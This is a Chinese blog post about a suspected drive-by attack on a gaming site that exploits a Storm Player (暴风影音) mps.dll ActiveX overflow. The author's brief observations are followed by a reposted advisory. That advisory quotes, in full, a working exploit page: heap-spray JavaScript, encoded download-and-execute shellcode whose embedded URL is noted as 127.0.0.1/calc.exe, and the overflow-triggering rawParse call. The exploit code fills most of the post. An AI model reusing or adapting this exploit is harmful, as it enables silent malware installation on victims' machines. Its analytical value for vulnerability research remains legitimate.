遇到暴风影音 activeX 漏洞

最新推荐文章于 2013-06-19 16:35:00 发布

FinalBruce

最新推荐文章于 2013-06-19 16:35:00 发布

阅读量1.2k

点赞数

文章标签： buffer javascript c object 浏览器 html

本文链接：https://blog.csdn.net/FinalBruce/article/details/2008455

版权

用遨游浏览器上http://games.enet.com.cn/zhuanti/war3/遨游安全监控弹出2次，按阻止操作之后。
D:/Program Files/StormII/Storm.exe /nosplash /hidden(打开暴风影音)
然后出现大量吃内存的情况，吃到上1G.估计也是利用暴风影音activeX漏洞，用堆溢出的技术 ,如heap spray ，但吃内存太厉害，立刻死机，马上被察觉出来。所以代码作者应该改进一下。
查看shellcode源代码，却找不到，应该是在其他*.js文件里。
然后

网上搜到的一个帖如下。
暴风影音II 惊现0day漏洞！2007-09-09 00:09暴风影音II mps.dll ActiveX栈溢出漏洞0day ！

从mopery http://hi.baidu.com/mopery 那里得到的消息，

955922.cn 旗下恶意网址群中的一个页面会下载一个恶意文件：b.htm ，该文件利用了暴风影音II mps.dll ActiveX栈溢出

漏洞0day ，

暴风影音classid

-----------------全段执行代码

<html>
<TITLE>I Love ManXue!</TITLE>
<object classid="clsid:6BE52E1D-E586-474f-A6E2-1A85A9B4D9FB" id='target'></object>
<body>
<SCRIPT language="javascript">
var shellcode = unescape("%u9090"+"%u9090"+
"%uefe9%u0000%u5a00%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u312f%u3732" +
"%u302e%u302e%u312e%u632f%u6c61%u2e63%u7865%u0065");
</script>
<SCRIPT language="javascript">

var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4057) buffer+="/x0a/x0a/x0a/x0a";
buffer+="/x0a";
buffer+="/x0a";
buffer+="/x0a";
buffer+="/x0a/x0a/x0a/x0a";
buffer+="/x0a/x0a/x0a/x0a";
target.rawParse(buffer);
</script>
</body>
</html>

--------------------------

关键地址

u7468%u7074%u2f3a%u312f%u3732" +
"%u302e%u302e%u312e%u632f%u6c61%u2e63%u7865%u0065");

以上执行代码所执行的程序是 http://127.0.0.1/calc.exe

FinalBruce

关注

0
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
遇到暴风影音 activeX 漏洞

用遨游浏览器上http://games.enet.com.cn/zhuanti/war3/遨游安全监控弹出2次，按阻止操作之后。D:/Program Files/StormII/Storm.exe /nosplash /hidden(打开暴风影音)然后出现大量吃内存的情况，吃到上1G.估计也是利用暴风影音activeX漏洞，用堆溢出的技术 ,如heap spray ，但吃内存太厉害，立刻死机，
复制链接

扫一扫